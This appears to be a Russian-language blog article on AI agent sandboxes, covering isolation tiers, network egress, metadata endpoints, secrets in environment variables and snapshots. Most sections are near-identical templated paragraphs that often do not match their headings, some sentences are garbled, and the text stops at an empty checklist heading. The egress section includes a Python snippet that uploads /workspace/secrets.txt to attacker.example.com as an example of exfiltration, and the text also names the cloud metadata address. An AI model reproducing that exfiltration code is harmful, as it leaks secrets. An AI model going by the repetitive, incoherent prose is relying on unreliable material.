Практические советы: 5 вещей, которые должен знать каждый инженер ИИ о сандбоксах агентов

В следующих заметках описывается практический подход к теме «5 вещей, которые должен знать каждый инженер ИИ о сандбоксах агентов». Основное внимание уделяется контрактам, проверкам и местам для вставки кода, а не мотивирующим формулировкам. На этапе обзора сначала запишите условия контракта: необходимые входные данные, сигнал успешного выполнения и действия при частичной неудаче. Такой список поможет сохранять честность при последующих изменениях кода. Рассматривайте этот этап как контракт между входными данными и проверенными выходными результатами. Дайте названия элементам, определите критерии успеха и не допускайте безответственного частичного выполнения задачи.

Think → Execute → Wait → Think → Execute → Wait

1. Цифры, характеризующие начальный этап работы, редко отражают реальные возможности агента

Числа, связанные с процессом холодного запуска, редко показывают наилучшие результаты, если рассматривать их как измеримые показатели. Соберите один эталонный пример успешной работы, один случай сбоя и запись о возврате к предыдущему состоянию перед расширением объёма тестирования. Записывайте временные показатели, а также стоимость токенов или запросов рядом с функциональными результатами. Отслеживание затрат на раннем этапе помогает избежать неожиданных счетов при переходе от демо-среды к общедоступным средам. Сохраняйте структуру графа простой и типизированной; вложенные структуры скрывают информацию о том, какой узел заполнил тот или иной поле, и могут нарушить возобновление работы после прерываний.

Python
Node.js
npm packages
Python packages
environment variables
filesystem mounts
networking
data-science libraries
browser automation
Git
compilers

Тестирование с пустым циклом

Этап тестирования с пустым циклом работает наилучшим образом, когда его рассматривают как измеримую поверхность. Соберите один идеальный пример работы, один случай сбоя и записку о возврате к предыдущему состоянию перед расширением объема тестирования. Храните конфигурацию вне кода приложения. Файлы среды, хранилища секретов и флаги функций должны находиться в одном месте, чтобы операторы могли их проверять, не читая весь граф. Сохраняйте состояние графа простым и типизированным. Вложенные структуры данных скрывают информацию о том, какой узел записал тот или иной поле, и мешают возобновлению работы после прерываний.

time ./start-minimal-vm

150 ms

import pandas as pd
import numpy as np
import requests
data = pd.read_csv("dataset.csv")
print(data.describe())

print(2 + 2)

Почему агенты усугубляют ситуацию

Агенты The Why обеспечивают наилучшую работу этого этапа, когда его рассматривают как измеримую поверхность. Соберите один идеальный пример работы, один случай сбоя и записку о возврате к предыдущему состоянию перед расширением объёма работ. Документируйте одновременно успешный и восстановительный пути выполнения. Повторные попытки, проверки человеком и обработка неработающих сообщений являются частью продукта, а не этапом последующей доработки. Сохраняйте структуру графа простой и типизированной. Вложенные структуры скрывают информацию о том, какой узел заполнил какое поле, и мешают возобновлению работы после прерываний. Агенты The Why обеспечивают наилучшую работу этого этапа, когда его рассматривают как измеримую поверхность. Соберите один идеальный пример работы, один случай сбоя и записку о возврате к предыдущему состоянию перед расширением объёма работ. Рассматривайте этот этап как контракт между входными данными и проверенными выходными результатами. Дайте названия элементам документации, определите критерии успеха и не соглашайтесь на молчаливое частичное выполнение задачи.

Agent
  ↓
Create sandbox
  ↓
Initialize runtime
  ↓
Run command
  ↓
Destroy sandbox
Agent
  ↓
Create sandbox
  ↓
Initialize runtime
  ↓
Run command
  ↓
Destroy sandbox

Лучшая архитектура: тёплые сандбоксы

Для улучшения архитектуры на этапе разработки необходимо заранее определить входные данные, ответственного за выполнение шага и критерии завершения перед изменением кода. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Рядом с функциональными результатами следует записывать время выполнения и стоимость токенов или запросов. Отображение затрат на раннем этапе предотвращает неожиданные счета при переходе от демо-среды к общедоступным средам. Необходимо ввести человеческое утверждение для операций, связанных с тратой денег или изменением производственных данных. Подключение компонентов во время компиляции не гарантирует полноты реализации бизнес-логики.

┌── Warm Worker
Agent ───────────┼── Warm Worker
                 ├── Warm Worker
                 └── Warm Worker

Что следует измерять

На этапе определения того, что необходимо измерять, перед изменением кода следует определить входные данные, ответственного за выполнение шага и критерии завершения. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Храните конфигурацию вне кода приложения. Файлы среды, хранилища секретов и флаги функций должны находиться в одном месте, чтобы операторы могли их проверять, не читая весь код. Вводите человеческое утверждение для операций, связанных с тратой денег или изменением производственных данных. Подключение на этапе компиляции не гарантирует полноты обработки бизнес-логики.

"How quickly can Linux boot?"

Agent request
    ↓
Sandbox allocation
    ↓
Filesystem ready
    ↓
Runtime ready
    ↓
Dependencies ready
    ↓
Network ready
    ↓
First command executed

2. Безопасность сандбокса зависит от того, что вы делите со своими коллегами

На этом этапе, когда безопасность зависит от среды Sandbox, необходимо определить входные данные, ответственного за выполнение шага и критерии завершения перед внесением изменений в код. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Необходимо задокументировать как успешный, так и восстановительный сценарии работы. Повторные попытки, проверки человеком и обработка неработоспособных сообщений являются частью продукта, а не элементами последующей доработки. Внедрять утверждение человеком для операций, связанных с тратой денег или изменением производственных данных. Настройка на этапе компиляции не гарантирует полноты функционала продукта. На этом этапе, когда безопасность зависит от среды Sandbox, необходимо определить входные данные, ответственного за выполнение шага и критерии завершения перед внесением изменений в код. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Рассматривайте этот этап как контракт между входными данными и проверенными результатами. Дайте названия элементам, определите критерии успеха и не допускайте безответственного частичного завершения задач.

python generated_code.py

Host Linux Kernel
       │
 ┌─────┴─────┐
 │           │
Agent A    Agent B
Container  Container

Спектр изоляции в песочнице

При работе над этапом «Спектр изоляции в песочнице» сначала запишите требования: необходимые входные данные, сигнал о успешном выполнении и действия при частичной неудаче. Такой список поможет избежать ошибок при последующих изменениях кода. Рядом с функциональными результатами записывайте время выполнения и стоимость токенов или запросов. Отслеживание затрат с самого начала предотвращает неожиданные счета при переходе от демо-среды к общедоступным средам. Создавайте контрольные точки после дорогостоящих операций. Функция возобновления выполнения не должна снова взимать плату за один и тот же вызов большой языковой модели, если оператор попытается выполнить следующий узел заново.

Уровень 1: Изоляция V8 и WebAssembly

При работе над этапом изоляторов V8 уровня 1 сначала запишите условия работы: необходимые входные данные, сигнал о успешном выполнении и действия при частичной неудаче. Такой список поможет сохранять честность при последующих изменениях кода. Храните конфигурацию вне кода приложения. Файлы среды, хранилища секретов и флаги функций должны находиться в одном месте, чтобы операторы могли их проверять, не читая весь код. Создавайте контрольные точки после дорогостоящих операций. Функция возобновления работы не должна снова взимать плату за один и тот же вызов большой языковой модели, когда оператор пытается выполнить следующий шаг.

~milliseconds

gcc main.c

return userInput.toUpperCase();

Уровень 2: Стандартные контейнеры OCI

При работе над этапом Tier 2 Standard OCI сначала запишите условия работы: необходимые входные данные, сигнал о успешном выполнении и действия при частичной неудаче. Такой список поможет сохранять честность при последующих изменениях кода. Документируйте как успешный, так и восстановительный сценарии работы. Повторные попытки, проверки человеком и обработка неработоспособных сообщений являются частью продукта, а не этапом доработки позже. Создавайте контрольные точки после дорогостоящих операций. Система возобновления работы не должна снова взимать плату за один и тот же вызов LLM при повторной попытке оператора обработки последующего этапа. При работе над этапом Tier 2 Standard OCI сначала запишите условия работы: необходимые входные данные, сигнал о успешном выполнении и действия при частичной неудаче. Такой список поможет сохранять честность при последующих изменениях кода. Рассматривайте этот этап как контракт между входными данными и проверенными результатами. Дайте названия создаваемым элементам, определите критерии успеха и не допускайте безусловного частичного завершения работы.

Docker
containerd
runc
Kubernetes Pods

Process isolation
Filesystem isolation
Resource limits
Network namespaces

python
node
gcc
git
bash

Уровень 3: Ядра в пользовательском пространстве

Этап разработки ядер в пользовательском пространстве уровня 3 работает наилучшим образом, если рассматривать его как измеримую среду. Сначала необходимо зафиксировать один идеальный пример работы, один случай сбоя и записку о возврате к предыдущему состоянию, прежде чем расширять объем работ. Регистрируйте время выполнения операций, а также стоимость токенов или запросов рядом с функциональными результатами. Отслеживание затрат на раннем этапе помогает избежать неожиданных расходов при переходе от демо-среды к общедоступным средам. Сохраняйте структуру графа простой и типизированной. Вложенные структуры данных маскируют информацию о том, какой узел заполнил тот или иной поле, и могут нарушить возобновление работы после прерываний.

Agent
  ↓
Container
  ↓
User-space kernel
  ↓
Host kernel
  ↓
Hardware

Уровень 4: Микро-ВМ

Режим MicroVM уровня 4 работает наилучшим образом, когда его рассматривают как измеримую среду. Соберите один идеальный пример работы, один случай сбоя и записку о возврате к предыдущему состоянию перед расширением объёма работ. Храните конфигурацию отдельно от кода приложения. Файлы среды, хранилища секретов и флаги функций должны находиться в одном месте, чтобы операторы могли их проверять, не читая весь граф. Сохраняйте структуру графа простой и типизированной. Вложенные структуры данных маскируют информацию о том, какой узел записал какое поле, и приводят к нарушению возобновления работы после перерывов.

Agent
  ↓
Guest Linux Kernel
  ↓
Virtual Machine Boundary
  ↓
Host Kernel
  ↓
Hardware

3. Выход в сеть может быть более опасным, чем побег из «песочницы»

3 Network egress будет функционировать наилучшим образом, если рассматриваться как измеримая среда. Соберите один идеальный пример работы, один случай сбоя и запись о возврате к предыдущему состоянию перед расширением объема работ. Документируйте как успешный, так и восстановительный пути выполнения. Повторные попытки, проверки со стороны оператора и обработка некорректных сообщений являются частью продукта, а не последующими доработками. Сохраняйте структуру графа простой и типизированной. Вложенные структуры данных маскируют информацию о том, какой узел заполнил тот или иной поле, что приводит к нарушению возобновления работы после перерывов. 3 Network egress будет функционировать наилучшим образом, если рассматриваться как измеримая среда. Соберите один идеальный пример работы, один случай сбоя и запись о возврате к предыдущему состоянию перед расширением объема работ. Рассматривайте этот этап как контракт между входными данными и проверенными выходными результатами. Дайте названия создаваемым элементам, определите критерии успеха и не допускайте безответственного частичного завершения работ.

import requests
requests.post(
    "https://attacker.example.com/upload",
    files={"data": open("/workspace/secrets.txt", "rb")}
)

Read file
   ↓
HTTP request
   ↓
Attacker receives data

Опасный конечный пункт метаданных

На этапе опасных конечных точек метаданных необходимо заранее определить входные данные, ответственного за выполнение шага и критерии завершения перед внесением изменений в код. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не пытаясь угадать скрытое состояние. Рядом с функциональными результатами следует записывать время выполнения и стоимость токенов или запросов. Отображение затрат с самого начала помогает избежать неожиданных счетов при переходе с демо-среды в общедоступные среды. Ввод человека должен применяться к операциям, связанным с тратой денег или изменением производственных данных. Настройки во время компиляции не гарантируют полноты реализации бизнес-логики.

169.254.169.254

Стратегия по умолчанию «отклонить» должна быть вашей отправной точкой

По умолчанию должно применяться отклонение на этапе выполнения: необходимо определить входные данные, ответственного за шаг и критерии завершения перед изменением кода. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Храните конфигурацию вне кода приложения. Файлы среды, хранилища секретов и флаги функций должны находиться в одном месте, чтобы операторы могли их проверять, не читая весь граф выполнения. Вводите утверждение человека для операций, связанных с тратой денег или изменением производственных данных. Подключение на этапе компиляции не гарантирует полноты охвата бизнес-логики.

ALLOW INTERNET

DENY ALL

Не утекайте переменные среды

На этапе среды «Никаких утечек» необходимо определить входные данные, ответственного за выполнение шага и критерии завершения перед внесением изменений в код. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Необходимо задокументировать как успешный, так и восстановительный сценарии работы. Повторные попытки, проверки человеком и обработка неработоспособных сообщений являются частью продукта, а не последующими улучшениями. Внедрять человеческое одобрение для операций, связанных с тратой денег или изменением производственных данных. Конфигурация во время компиляции не заменяет полноты бизнес-логики. На этапе среды «Никаких утечек» необходимо определить входные данные, ответственного за выполнение шага и критерии завершения перед внесением изменений в код. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Рассматривайте этот этап как контракт между входными данными и проверенными выходными результатами. Дайте названия результатам работы, определите критерии успеха и не допускайте безответственного частичного завершения задач.

export OPENAI_API_KEY="super-secret-key"
export AWS_SECRET_ACCESS_KEY="..."
export DATABASE_PASSWORD="..."

env

4. Снимки состояния могут быть важнее времени запуска

При работе с снимками состояния необходимо сначала зафиксировать условия использования: требуемые входные данные, сигнал о успешном выполнении и действия при частичной неудаче. Такой список помогает сохранять честность при последующих изменениях кода. Рядом с функциональными результатами следует записывать время выполнения и стоимость токенов или запросов. Отслеживание затрат с самого начала предотвращает неожиданные расходы при переходе с демо-среды в общедоступные среды. Создавайте контрольные точки после дорогостоящих операций. Функция возобновления работы не должна снова взимать плату за один и тот же вызов большой языковой модели, если оператор попытается выполнить последующий шаг заново.

Turn 1
Read repository
Turn 2
Run tests
Turn 3
Tests fail
Turn 4
Edit code
Turn 5
Run tests again
Turn 6
Build application

/workspace
    ├── src/
    ├── package.json
    ├── tests/
    └── node_modules/

Keep VM alive
     ↓
Fast
     ↓
Expensive

Destroy VM
     ↓
Cheap
     ↓
Slow

Ввод снимков

При работе над этапом создания снимков состояния сначала запишите условия работы: необходимые входные данные, сигнал о успешном выполнении и действия при частичной неудаче. Такой список поможет избежать ошибок при последующих изменениях кода. Храните конфигурацию отдельно от кода приложения. Файлы с настройками окружения, хранилища секретов и флаги функций должны находиться в одном месте, чтобы операторы могли их проверять, не читая весь код. Создавайте контрольные точки после дорогостоящих операций. Функция возобновления работы не должна повторно взимать плату за один и тот же вызов большой языковой модели, если оператор попытается выполнить следующий шаг заново.

Running Agent
      ↓
Memory + State
      ↓
Snapshot
      ↓
Object Storage

VM pauses
   ↓
Snapshot saved
   ↓
Resources released

Request
   ↓
Restore snapshot
   ↓
Continue execution

Fast resume
+
Persistent state
+
Lower idle cost

5. Используйте четыре вопроса для выбора песочницы

При работе над этапом «5 Use four questions» сначала запишите условия работы системы: необходимые входные данные, сигнал о успешном выполнении и действия при частичной неудаче. Такой чек-лист поможет сохранять честность при последующих изменениях кода. Документируйте одновременно успешный и восстановительный сценарии работы. Повторные попытки, проверки со стороны оператора и обработка некорректных сообщений являются частью продукта, а не элементами последующей доработки. Выполняйте контрольные точки после дорогостоящих операций. Механизм возобновления работы не должен повторно взимать плату за один и тот же вызов большой языковой модели, если оператор пытается выполнить последующий этап. При работе над этапом «5 Use four questions» сначала запишите условия работы системы: необходимые входные данные, сигнал о успешном выполнении и действия при частичной неудаче. Такой чек-лист поможет сохранять честность при последующих изменениях кода. Рассматривайте этот этап как договор между входными данными и проверенными результатами. Дайте названия соответствующим элементам, определите критерии успешности и не допускайте безответственного частичного выполнения задач.

Вопрос 1: Какой язык требуется агенту?

Вопрос 1. Какой этап языка наилучшим образом подходит для рассмотрения как измеримая поверхность? Соберите один идеальный пример работы, один случай сбоя и записку о возврате к предыдущему состоянию перед расширением объема работ. Записывайте временные показатели, а также стоимость токенов или запросов рядом с функциональными результатами. Отображение стоимости на раннем этапе предотвращает неожиданные счета при переходе от демо-среды к общедоступным средам. Сохраняйте структуру графа простой и типизированной; вложенные структуры скрывают информацию о том, какой узел заполнил тот или иной поле, и могут нарушить возобновление работы после прерываний.

const result = calculateSomething(input);

python analysis.py
gcc main.c
git clone ...
npm install ...

Вопрос 2: Можно ли доверять коду?

Вопрос 2: Сценарий работает наилучшим образом, когда его рассматривают как измеримую поверхность. Соберите один пример успешной работы, один случай сбоя и запись о возврате к предыдущему состоянию перед расширением объёма работ. Храните конфигурацию вне кода приложения. Файлы среды, хранилища секретов и флаги функций должны находиться в одном месте, чтобы операторы могли их проверять, не читая весь граф. Сохраняйте состояние графа простым и типизированным. Вложенные структуры данных скрывают информацию о том, какой узел записал какое поле, и приводят к нарушению возобновления работы после перерывов.

Внутренний агент разработчика

Этап внутреннего агента разработчика работает наилучшим образом, когда его рассматривают как измеримую среду. Соберите один идеальный пример работы, один случай сбоя и записку о возврате к предыдущему состоянию перед расширением объема работ. Документируйте как успешный, так и восстановительный пути выполнения. Повторные попытки, проверки человеком и обработка неработающих сообщений являются частью продукта, а не этапом последующей доработки. Сохраняйте структуру графа простой и типизированной. Вложенные структуры скрывают информацию о том, какой узел заполнил тот или иной поле, и мешают возобновлению работы после прерываний. Этап внутреннего агента разработчика работает наилучшим образом, когда его рассматривают как измеримую среду. Соберите один идеальный пример работы, один случай сбоя и записку о возврате к предыдущему состоянию перед расширением объема работ. Рассматривайте этот этап как контракт между входными данными и проверенными выходными результатами. Дайте названия элементам, определите критерии успеха и не допускайте безответственного частичного выполнения задач.

Developer
   ↓
Agent
   ↓
Hardened container

Публичный агент с поддержкой нескольких арендаторов

На этапе агента с множественными арендаторами для общего использования необходимо заранее определить входные данные, ответственного за выполнение шага и критерии завершения перед изменением кода. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Рядом с функциональными результатами следует записывать время выполнения и стоимость токенов или запросов. Отображение затрат на раннем этапе предотвращает неожиданные счета при переходе с демо-среды в общедоступные среды. Для операций, связанных с расходами или изменением производственных данных, необходимо ввести утверждение человека. Подключение компонентов во время компиляции не гарантирует полноты функционала бизнес-приложения.

User
  ↓
LLM
  ↓
Generated Code
  ↓
Sandbox

Вопрос 3: Как выглядит профиль you/O?

Для вопроса 3 «Что такое этап?» определите входные данные, ответственного за выполнение шага и критерии завершения перед изменением кода. Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Храните конфигурацию вне кода приложения. Файлы среды, хранилища секретов и флаги функций должны находиться в одном месте, чтобы операторы могли их проверять, не читая весь граф. Вводите утверждение человека для ребер, которые приводят к тратам денег или изменению производственных данных. Подключение на этапе компиляции не гарантирует полноты бизнес-логики.

for x in data:
    calculate(x)

fork()
fork()
fork()
read()
write()
open()
close()
network()
network()
network()

Вопрос 4: Нужен ли вам специальный гостевой ядро?

К вопросу 4: предварительно ли вы организуете процесс, определяете входные данные, ответственного за шаг и критерии завершения перед изменением кода? Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии. Необходимо задокументировать как успешный, так и восстановительный сценарии работы. Повторные попытки, проверки человеком и обработка неработоспособных сообщений являются частью продукта, а не элементами последующей доработки. Внедряйте утверждение человеком для операций, связанных с тратой денег или изменением производственных данных. Настройка на этапе компиляции не гарантирует полноты функционала продукта. К вопросу 4: предварительно ли вы организуете процесс, определяете входные данные, ответственного за шаг и критерии завершения перед изменением кода? Операторы должны иметь возможность перезапустить шаг с известной точки контроля, не догадываясь о скрытом состоянии.

Custom kernel modules
Specialized Linux environments
Strong multi-tenant isolation
Hardware-level virtualization boundaries

Чек-лист операций